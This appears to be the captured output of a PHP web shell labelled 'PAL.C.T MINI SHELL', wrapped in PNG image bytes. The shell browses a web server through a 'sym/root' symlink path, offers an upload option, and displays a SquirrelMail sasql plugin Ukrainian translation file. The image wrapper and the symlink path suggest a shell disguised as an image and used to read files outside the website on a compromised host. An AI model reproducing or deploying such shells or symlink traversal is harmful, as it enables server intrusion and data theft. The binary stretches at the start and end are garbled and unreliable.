php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/sasql.po

# SquirrelMail sasql plugin Ukrainian translation
# Copyright (c) 2006-2009 The SquirrelMail Project Team
# Serhij Dubyk <dubyk@library.lviv.ua>, 2006.
# $Id: sasql.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: sasql\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-03-29 08:36-0700\n"
"PO-Revision-Date: 2006-04-19 10:41+0200\n"
"Last-Translator: Serhij Dubyk <dubyk@library.lviv.ua>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.10\n"
"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"
"X-Poedit-Language: Ukrainian\n"
"X-Poedit-Country: UKRAINE\n"
"X-Poedit-SourceCharset: utf-8\n"

#: dspam.inc.php:82
msgid "DSPAM Settings"
msgstr "Параметры DSPAM "

#: dspam.inc.php:89
msgid "Warning"
msgstr "Попередження"

#: dspam.inc.php:91
#, fuzzy
msgid "Enabling DSPAM will disable SpamAssassin scanning of your email."
msgstr "Если включить dspam, то обработка писем с помощью SpamAssassin будет отключена."

#: dspam.inc.php:94
msgid "SpamAssassin settings and white/blacklists will not be used by dspam."
msgstr "dspam не використовує параметри Spamassassin і його чорні і білі списки."

#. *
#. * To translators: %s's will be replaced with <a ..> and </a>
#.
#: dspam.inc.php:102
#, fuzzy, php-format
msgid "This %sFAQ%s from the DSPAM web site explains the differences between SpamAssassin and DSPAM and why you might want to use dspam instead of SpamAssassin."
msgstr "На странице <a href='http://www.nuclearelephant.com/projects/dspam/faq.html#1.7' target='_blank'>Вопросов и ответов</a> сайта dspam объясняется разница между SpamAssassin и dspam и в каких случаях предпочтительнее использовать dspam."

#: dspam.inc.php:113
#, fuzzy
msgid "DSPAM is a learning system that filters spam based on what <i>you</i> tell it is spam and what isn't. Messages are analyzed as they are delivered and are assigned a spam probability between 0 and 1. The more messages you receive, both spam and innocent, the better DSPAM learns what <i>you</i> think is spam and what is not."
msgstr "dspam - это обучаемая система, которой <i>вы сами</i> говорите, какие письма - это спам, а какие - нет. Поступающим сообщениям присваивается вероятностный рейтинг спама (в пределах от 0 до 1). Чем больше будет обработано писем, и обычных, и спама, тем лучше dspam будет знать, что именно <i>вы сами</i> считаете спамом."

#: dspam.inc.php:117
msgid "Reporting Spam"
msgstr "Повідомлення про спам"

#: dspam.inc.php:120
msgid "If you receive a spam message in your Inbox, forward the message to <nobr>username-spam@domain</nobr> and it will be learned as spam. For example, if your address is joe@example.com, you would forward the message to <nobr>joe-spam@example.com</nobr>."
msgstr "Якщо вам прийшов спам, перешліть цей лист на адресу <nobr>username-spam@domain</nobr>, щоб програма внесла його до своєї бази спаму. Наприклад, якщо ваша адреса - це  joe@example.com, повідомлення слід переслати на адресу <nobr>joe-spam@example.com</nobr>."

#: dspam.inc.php:126
#, php-format
msgid "You can also move your spam messages to the <i>%s</i> folder. This folder is periodically checked for messages which are then learned as spam and deleted. You do not need to move messages from your %s folder here because they have already been learned as spam."
msgstr "Можна також помістити спам в теку <i>%s</i>. Ця тека періодично перевірятиметься на наявність листів, і все нові листи в ній заноситимуться в базу даних програми як спам і видалятимуться. Листи з теки %s зараз переміщати не потрібно, оскільки вони вже були занесені в базу спаму."

#: dspam.inc.php:131
msgid "Reporting False Positives"
msgstr "Повідомлення про помилкові спрацьовування"

#: dspam.inc.php:134
#, fuzzy
msgid "From time to time, DSPAM will catch an innocent messages as spam. These messages are called \"false positives\". There is no way to prevent false positives entirely. If you find a false positive, forward the message to <nobr>username-fp@domain</nobr> and it will be learned as an innocent message. For example, if your email address is joe@example.com, you would forward the message to <nobr>joe-fp@example.com</nobr>."
msgstr "Изредка dspam принимает за спам обычные сообщения. Это называется ложным срабатыванием. Полностью этого избежать практически невозможно. Если это случилось, перешлите письмо на адрес <nobr>username-fp@domain</nobr>, и оно будет занесено в базу как не спам. Например, если ваш адрес - это  joe@example.com, сообщение следует переслать на адрес <nobr>joe-fp@example.com</nobr>."

#: dspam.inc.php:140
#, php-format
msgid "You can also move your false positives to the <i>%s</i> folder from the %s folder. This folder is periodically checked for messages which are then learned as false positives and deleted."
msgstr "Можна також переміщати такі ні в чому не повинні листи з теки %s у теку <i>%s</i>. Ця тека періодично перевірятиметься на наявність листів, і все нові листи в ній заноситимуться в базу даних програми як помилкові спрацьовування і видалятимуться."

#: dspam.inc.php:145
msgid "Disclaimer"
msgstr "Увага"

#: dspam.inc.php:148
msgid "DSPAM is a learning system. It only knows what is spam based on what you teach it is spam and what is not. Due to DSPAM's nature, you are more likely to see errors in spam detection until it is trained on your email. If you do not report a message as spam within ten days, the message will be permanently learned as innocent and you will be more likely to receive more spam."
msgstr "dspam - це програма з навчаням. Вона дізнається про те, що таке спам, і що таке не спам від вас. Програма влаштована так, що помилок в розпізнаванні спаму буде все менше і менше у міру того, як програма навчається на вашій кореспонденції. Якщо протягом десяти днів ви не повідомили програму про те, що лист, що прийшов, - це спам, воно автоматично вважатиметься звичайним листом, і таким чином шанси того, що спам пройде через фільтри, збільшаться."

#. *
#. * To translators: %s's will be replaced by <a ..> and </a>
#.
#: dspam.inc.php:162
#, php-format
msgid "Please read the %sDSPAM Primer%s before enabling DSPAM."
msgstr ""

#: dspam.inc.php:183
msgid "Use DSPAM"
msgstr "Використовувати DSPAM"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:198
#, php-format
msgid "Clean out your %s folder on opt-in?"
msgstr "Очищати теку %s після обробки?"

#: dspam.inc.php:200
#: purge.inc.php:37
msgid "Note"
msgstr "Примітка"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:205
#: purge.inc.php:38
#, php-format
msgid "Your %s folder may be unavailable during the purge. It will become available again when the purge is complete."
msgstr "Під час очищення тека %s буде недоступна. Вона знов стане доступна після закінчення очищення."

#: dspam.inc.php:214
msgid "Update"
msgstr "Оновлення"

#: move_to.php:98
msgid "No messages were selected."
msgstr "Ніякі повідомлення не були вибрані."

#: purge.inc.php:30
msgid "Purge"
msgstr "Очистити"

#: purge.inc.php:33
#, php-format
msgid "Delete all messages from your %s folder."
msgstr "Видалити всі повідомлення з теки %s."

#: sa_abooksync.inc.php:20
msgid "Allow Senders from Address Book"
msgstr "Дозволити відправників з адресної книги"

#: sa_abooksync.inc.php:26
msgid "Allow"
msgstr "Дозволити"

#: sa_abooksync.inc.php:27
msgid "Allow all address in the address book."
msgstr "Будуть дозволені всі адреси, включені до адресної книги."

#. required_hists
#: sa_opts-dist.php:19
msgid "Spam Score"
msgstr ""

#: sa_opts-dist.php:20
msgid "Once all SpamAssassin tests have been run, the resulting score is matched against this value, and if greater than this value, the e-mail message is marked as spam. We recommend a value of '5'."
msgstr ""

#: sa_opts-dist.php:22
msgid "0 - Very Aggressive"
msgstr "0 - дуже агресивний"

#: sa_opts-dist.php:23
msgid "1"
msgstr "1"

#: sa_opts-dist.php:24
msgid "2 - Aggressive"
msgstr "2 - агресивний"

#: sa_opts-dist.php:25
msgid "3"
msgstr "3"

#: sa_opts-dist.php:26
msgid "4"
msgstr "4"

#: sa_opts-dist.php:27
msgid "5 - Recommended"
msgstr "5 - рекомендований"

#: sa_opts-dist.php:28
msgid "6"
msgstr "6"

#: sa_opts-dist.php:29
msgid "7"
msgstr "7"

#: sa_opts-dist.php:30
msgid "8 - Lenient"
msgstr "8 - поблажливий"

#: sa_opts-dist.php:31
msgid "9"
msgstr "9"

#: sa_opts-dist.php:32
msgid "10 - Very Lenient"
msgstr "10 - дуже поблажливий"

#: sa_opts-dist.php:33
msgid "Don't Filter"
msgstr "Не фільтрувати"

#. NOTE: The ordering here is a little odd to allow some inclusion of
#. other option names.
#. subject_tag
#: sa_opts-dist.php:43
msgid "Spam Subject Tag"
msgstr ""

#: sa_opts-dist.php:45
msgid "*****SPAM*****"
msgstr ""

#. rewrite_subject
#: sa_opts-dist.php:48
#: sa_opts-dist.php:63
msgid "Rewrite Subject Line"
msgstr ""

#. To translators: %s is the default from subject_tag
#: sa_opts-dist.php:50
#, php-format
msgid "SpamAssassin can re-write the subject line of e-mail that has been determined to be spam by prefixing the original subject with: %s.  To turn on this feature, select this option."
msgstr ""

#. This is here to allow me to include the rewrite_subject title
#. *
#. * To Translators: %s is the title from rewrite_subject
#.
#: sa_opts-dist.php:60
#, php-format
msgid "The text to prefix to the subject of messages determined to be spam. %s must be turned on."
msgstr ""

#: sa_opts-dist.php:64
msgid "SpamAssassin can re-write the subject line of e-mail that has been determined to be spam by prefixing the original subject with this value."
msgstr ""

#. use_terse_report
#: sa_opts-dist.php:70
msgid "Short Report"
msgstr ""

#: sa_opts-dist.php:71
msgid "This option will tell SpamAssassin to use a shorter spam report once the message has been found to be spam."
msgstr ""

#. use_dcc
#: sa_opts-dist.php:77
msgid "Use DCC"
msgstr ""

#: sa_opts-dist.php:78
msgid "Checks messages against the DCC (Distrubuted Checksum Clearinghouse) to see if a message matches a known spam message."
msgstr ""

#. use_razor1
#: sa_opts-dist.php:84
msgid "Use SpamNet (version 1)"
msgstr ""

#: sa_opts-dist.php:85
#: sa_opts-dist.php:92
msgid "Checks messages against SpamNet to see if a message is a known spam message."
msgstr ""

#. use_razor2
#: sa_opts-dist.php:91
msgid "Use SpamNet (version 2)"
msgstr ""

#. always_add_headers
#: sa_opts-dist.php:98
msgid "Always Add Headers"
msgstr ""

#: sa_opts-dist.php:99
msgid "Uncheck if you do not want to add the headers to non-spam."
msgstr ""

#. ok_languages
#: sa_opts-dist.php:105
msgid "Acceptable Languages"
msgstr "Прийнятні мови"

#: sa_opts-dist.php:106
msgid "Select all the languages you expect to receive e-mail in."
msgstr ""

#: sa_opts-dist.php:112
msgid "All"
msgstr "Все"

#: sa_opts-dist.php:113
msgid "Afrikaans"
msgstr ""

#: sa_opts-dist.php:114
msgid "Albanian"
msgstr "Албанська мова"

#: sa_opts-dist.php:115
msgid "Amharic"
msgstr ""

#: sa_opts-dist.php:116
msgid "Arabic"
msgstr "Арабська мова"

#: sa_opts-dist.php:117
msgid "Armenian"
msgstr ""

#: sa_opts-dist.php:118
msgid "Basque"
msgstr ""

#: sa_opts-dist.php:119
msgid "Bosnian"
msgstr ""

#: sa_opts-dist.php:120
msgid "Bulgarian"
msgstr "Болгарська мова"

#: sa_opts-dist.php:121
msgid "Byelorussian"
msgstr ""

#: sa_opts-dist.php:122
msgid "Catalan"
msgstr ""

#: sa_opts-dist.php:123
msgid "Chinese"
msgstr "Китайська мова"

#: sa_opts-dist.php:124
msgid "Croatian"
msgstr ""

#: sa_opts-dist.php:125
msgid "Czech"
msgstr "Чеська мова"

#: sa_opts-dist.php:126
msgid "Danish"
msgstr "Данська мова"

#: sa_opts-dist.php:127
msgid "Dutch"
msgstr "Голландська мова"

#: sa_opts-dist.php:128
msgid "English"
msgstr "Англійська мова"

#: sa_opts-dist.php:129
msgid "Esperanto"
msgstr "Есперанто"

#: sa_opts-dist.php:130
msgid "Estonian"
msgstr ""

#: sa_opts-dist.php:131
msgid "Finnish"
msgstr "Фінська мова"

#: sa_opts-dist.php:132
msgid "French"
msgstr "Французька мова"

#: sa_opts-dist.php:133
msgid "Frisian"
msgstr ""

#: sa_opts-dist.php:134
msgid "Georgian"
msgstr ""

#: sa_opts-dist.php:135
msgid "German"
msgstr "Німецька мова"

#: sa_opts-dist.php:136
msgid "Greek"
msgstr ""

#: sa_opts-dist.php:137
msgid "Hebrew"
msgstr "Іврит"

#: sa_opts-dist.php:138
msgid "Hindi"
msgstr ""

#: sa_opts-dist.php:139
msgid "Hungarian"
msgstr "Угорська мова"

#: sa_opts-dist.php:140
msgid "Icelandic"
msgstr "Ісландська мова"

#: sa_opts-dist.php:141
msgid "Indonesian"
msgstr ""

#: sa_opts-dist.php:142
msgid "Irish Gaelic"
msgstr "Ірландська гельська Мова"

#: sa_opts-dist.php:143
msgid "Italian"
msgstr ""

#: sa_opts-dist.php:144
msgid "Japanese"
msgstr "Японська мова"

#: sa_opts-dist.php:145
msgid "Korean"
msgstr "Корейська мова"

#: sa_opts-dist.php:146
msgid "Latin"
msgstr "Латинська мова"

#: sa_opts-dist.php:147
msgid "Latvian"
msgstr "Латиська мова"

#: sa_opts-dist.php:148
msgid "Lithuanian"
msgstr ""

#: sa_opts-dist.php:149
msgid "Malay"
msgstr ""

#: sa_opts-dist.php:150
msgid "Marathi"
msgstr "Мова маратхі"

#: sa_opts-dist.php:151
msgid "Nepali"
msgstr ""

#: sa_opts-dist.php:152
msgid "Norwegian"
msgstr "Норвезька мова"

#: sa_opts-dist.php:153
msgid "Persian"
msgstr ""

#: sa_opts-dist.php:154
msgid "Polish"
msgstr "Польська мова"

#: sa_opts-dist.php:155
msgid "Portuguese"
msgstr ""

#: sa_opts-dist.php:156
msgid "Quechua"
msgstr ""

#: sa_opts-dist.php:157
msgid "Rhaeto-Romance"
msgstr ""

#: sa_opts-dist.php:158
msgid "Romanian"
msgstr ""

#: sa_opts-dist.php:159
msgid "Russian"
msgstr "Російська мова"

#: sa_opts-dist.php:160
msgid "Sanskrit"
msgstr "Санскрит"

#: sa_opts-dist.php:161
msgid "Scots"
msgstr "Шотландський діалект"

#: sa_opts-dist.php:162
msgid "Scottish Gaelic"
msgstr "Шотландська гельська Мова"

#: sa_opts-dist.php:163
msgid "Serbian"
msgstr "Сербська мова"

#: sa_opts-dist.php:164
msgid "Slovak"
msgstr "Словацька мова"

#: sa_opts-dist.php:165
msgid "Slovenian"
msgstr "Словенська мова"

#: sa_opts-dist.php:166
msgid "Spanish"
msgstr "Іспанська мова"

#: sa_opts-dist.php:167
msgid "Swahili"
msgstr "Суахілі"

#: sa_opts-dist.php:168
msgid "Swedish"
msgstr "Шведська мова"

#: sa_opts-dist.php:169
msgid "Tagalog"
msgstr ""

#: sa_opts-dist.php:170
msgid "Tamil"
msgstr ""

#: sa_opts-dist.php:171
msgid "Thai"
msgstr ""

#: sa_opts-dist.php:172
msgid "Turkish"
msgstr "Турецька мова"

#: sa_opts-dist.php:173
msgid "Ukrainian"
msgstr "Українська мова"

#: sa_opts-dist.php:174
msgid "Vietnamese"
msgstr ""

#: sa_opts-dist.php:175
msgid "Welsh"
msgstr "Валлійська мова"

#: sa_opts-dist.php:176
msgid "Yiddish"
msgstr "Ідиш"

#. use_bayes
#: sa_opts-dist.php:179
msgid "Use Bayesian Filter"
msgstr ""

#: sa_opts-dist.php:180
msgid "The Baysian Filter will learn what is spam and what isn't to become a better filter."
msgstr ""

#. auto_learn
#: sa_opts-dist.php:186
msgid "Auto-learn"
msgstr ""

#: sa_opts-dist.php:187
msgid "Automatically feed high and low scoring mails into SpamAssassin's learning systems. (Currently, only Bayesian filtering is supported.)"
msgstr ""

#. report_safe
#: sa_opts-dist.php:193
msgid "Spam Encapsulation"
msgstr ""

#: sa_opts-dist.php:194
msgid "Encapsulate spam messages into a MIME or plain-text attachment, or you can disable it altogether."
msgstr ""

#: sa_opts-dist.php:196
msgid "Disabled"
msgstr ""

#: sa_opts-dist.php:197
msgid "MIME Attachment"
msgstr ""

#: sa_opts-dist.php:198
msgid "Text Attachment"
msgstr ""

#. These options were removed as of SpamAssassin 2.50-ish
#. They are here for those running older versions of SA.
#. report_header
#: sa_opts-dist.php:205
msgid "Report in Header"
msgstr ""

#: sa_opts-dist.php:206
msgid "SpamAssassin will create a report when it determines an e-mail message to be spam.  This report is normally prepended to the e-mail message.  To have the report written as part of the e-mail header, select this option."
msgstr ""

#. defang_mime
#: sa_opts-dist.php:212
msgid "Reformat HTML Spam"
msgstr ""

#: sa_opts-dist.php:213
msgid "When an e-mail in HTML format is determined to be spam, SpamAssassin can convert the message to text. To allow this, select this option."
msgstr ""

#. White/black list info
#: sa_opts-dist.php:243
msgid "Whitelist From"
msgstr "Білий список - Від"

#: sa_opts-dist.php:244
msgid "E-mail from these addresses will not be marked as spam. You may use '*' as a wildcard to allow a large number of addresses at one time. E.g. Whitelist From '*@aol.com' will not mark any message that claims to be from aol.com as spam."
msgstr ""

#: sa_opts-dist.php:246
msgid "Don't Whitelist From"
msgstr ""

#: sa_opts-dist.php:247
msgid "This address will be excluded from a previous whitelist and will be treated as a normal address, i.e. it will not be automatically allowed."
msgstr ""

#: sa_opts-dist.php:249
msgid "Blacklist From"
msgstr "Чорний список - Від"

#: sa_opts-dist.php:250
msgid "E-mail from these addresses will always be marked as spam. You may use '*' as a wildcard to block a large number of addresses at one time. E.g. Blacklist From '*@aol.com' will mark all messages that claims to be from aol.com as spam."
msgstr ""

#: sa_opts-dist.php:252
msgid "Don't Blacklist From"
msgstr ""

#: sa_opts-dist.php:253
msgid "This address will be excluded from a previous blacklist and will be treated as a normal address, i.e. it will not be automatically denied."
msgstr ""

#: sa_opts-dist.php:255
msgid "Whitelist To"
msgstr "Білий список - Кому"

#: sa_opts-dist.php:256
msgid "E-mail to these addresses will not be marked as spam. This is useful for allowing e-mail lists. For example, you can allow all messages from an e-mail list that sends to 'Tofu-Support-List@beeflovers.com'. You may use '*' as a wildcard to allow a large number of addresses at one time. E.g. Whitelist To '*@aol.com' will not mark any message that claims to be to aol.com as spam."
msgstr ""

#: sa_opts-dist.php:258
msgid "Blacklist To"
msgstr "Чорний Список - До"

#: sa_opts-dist.php:259
msgid "E-mail to these addresses will be marked as spam. You may use '*' as a wildcard to reject a large number of addresses at one time. E.g. Blacklist To '*@aol.com' will mark all messages that claims to be to aol.com as spam."
msgstr ""

#: sa_settings.inc.php:114
msgid "General Settings"
msgstr "Загальні параметри"

#: sa_settings.inc.php:173
msgid "Save Settings"
msgstr "Зберегти параметри"

#: sa_whitelist.inc.php:43
#: sasql_wblist.php:41
msgid "Error: You must include an e-mail address."
msgstr "Слід вказати електронну адресу."

#: sa_whitelist.inc.php:49
#: sasql_wblist.php:48
msgid "Error: You have entered an invalid e-mail address."
msgstr "Вказана невірна електронна адреса."

#: sa_whitelist.inc.php:53
msgid "Error: You must select Allow or Deny."
msgstr "Слід вибрати Дозволити або Заборонити."

#: sa_whitelist.inc.php:76
msgid "Global Allow / Deny Address List"
msgstr "Список глобально дозволених або заборонених адрес"

#: sa_whitelist.inc.php:83
#: sa_whitelist.inc.php:125
msgid "Address"
msgstr "Адреса"

#: sa_whitelist.inc.php:84
#: sa_whitelist.inc.php:126
msgid "Type"
msgstr "Тип"

#: sa_whitelist.inc.php:118
msgid "Personal Allow / Deny Address List"
msgstr "Список особистих дозволених або заборонених адрес"

#: sa_whitelist.inc.php:127
msgid "Action"
msgstr "Дія"

#: sa_whitelist.inc.php:134
msgid "Address Removed"
msgstr "Адреса видалена"

#: sa_whitelist.inc.php:160
#, php-format
msgid "Unknown option: %s"
msgstr ""

#: sa_whitelist.inc.php:168
msgid "Delete"
msgstr "Видалити"

#: sa_whitelist.inc.php:174
msgid "Edit"
msgstr "Змінити"

#. echo $edit;
#: sa_whitelist.inc.php:188
msgid "Edit Address"
msgstr "Змінити адресу"

#: sa_whitelist.inc.php:194
msgid "Add New Address"
msgstr "Додати адресу"

#: sa_whitelist.inc.php:220
msgid "Address:"
msgstr "Адреса:"

#: sa_whitelist.inc.php:224
msgid "Type:"
msgstr "Тип:"

#. End Form
#. Help
#: sa_whitelist.inc.php:245
msgid "Legend"
msgstr ""

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:14
#: sasql_db.php:37
#: sasql_db.php:121
#: sasql_db.php:165
#: sasql_db.php:206
#: sasql_db.php:246
#: sasql_db.php:263
#: sasql_db.php:296
#: sasql_db.php:326
#, php-format
msgid "Database error in %s: %s"
msgstr "Помилка бази даних в %s: %s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:188
#, php-format
msgid "Database error: %s"
msgstr "Помилка бази даних: %s"

#: sasql_db.php:227
#, php-format
msgid "sasql_AddPref_multiple Database error: %s"
msgstr "Помилка бази даних sasql_AddPref_multiple: %s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:280
#, php-format
msgid "Database error %s: %s"
msgstr "Помилка бази даних %s: %s"

#: sasql_hooks.php:104
#: sasql_options.php:62
msgid "Spam Filters"
msgstr ""

#: sasql_hooks.php:106
msgid "Configure the behavior of your spam filters."
msgstr ""

#: sasql_hooks.php:199
msgid "Add Email to Whitelist"
msgstr ""

#: sasql_hooks.php:200
msgid "Allow Sender"
msgstr "Дозволити відправника"

#: sasql_hooks.php:201
msgid "Remove Email from Whitelist"
msgstr ""

#: sasql_hooks.php:202
#: sasql_hooks.php:204
#: sasql_hooks.php:209
#: sasql_hooks.php:211
msgid "remove"
msgstr "видалити"

#: sasql_hooks.php:203
msgid "Remove Domain from Whitelist"
msgstr ""

#: sasql_hooks.php:206
msgid "Add Email to Blacklist"
msgstr ""

#: sasql_hooks.php:207
msgid "Block Sender"
msgstr "Заблокувати відправника"

#: sasql_hooks.php:208
msgid "Remove Email from Blacklist"
msgstr ""

#: sasql_hooks.php:210
msgid "Remove Domain from Blacklist"
msgstr ""

#: sasql_hooks.php:217
msgid "Address is already in your whitelist"
msgstr ""

#: sasql_hooks.php:218
#: sasql_hooks.php:226
msgid "Whitelisted"
msgstr "У білому списку"

#: sasql_hooks.php:225
msgid "Domain is already in your whitelist"
msgstr ""

#: sasql_hooks.php:239
msgid "Address is already in your blacklist"
msgstr "Адреса знаходиться вже у вашому чорному списку"

#: sasql_hooks.php:240
#: sasql_hooks.php:248
msgid "Blacklisted"
msgstr "У чорному списку"

#: sasql_hooks.php:247
msgid "Domain is already in your blacklist"
msgstr "Домен знаходиться вже у вашому чорному списку"

#: sasql_hooks.php:291
#: sasql_hooks.php:349
msgid "Learn as False Positive"
msgstr ""

#: sasql_hooks.php:295
#: sasql_hooks.php:353
msgid "Learn as Spam"
msgstr ""

#: sasql_options.php:62
msgid "Options"
msgstr "Параметри"

#: sasql_wblist.php:53
msgid "Error: Missing option."
msgstr "Параметр не вказаний."

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`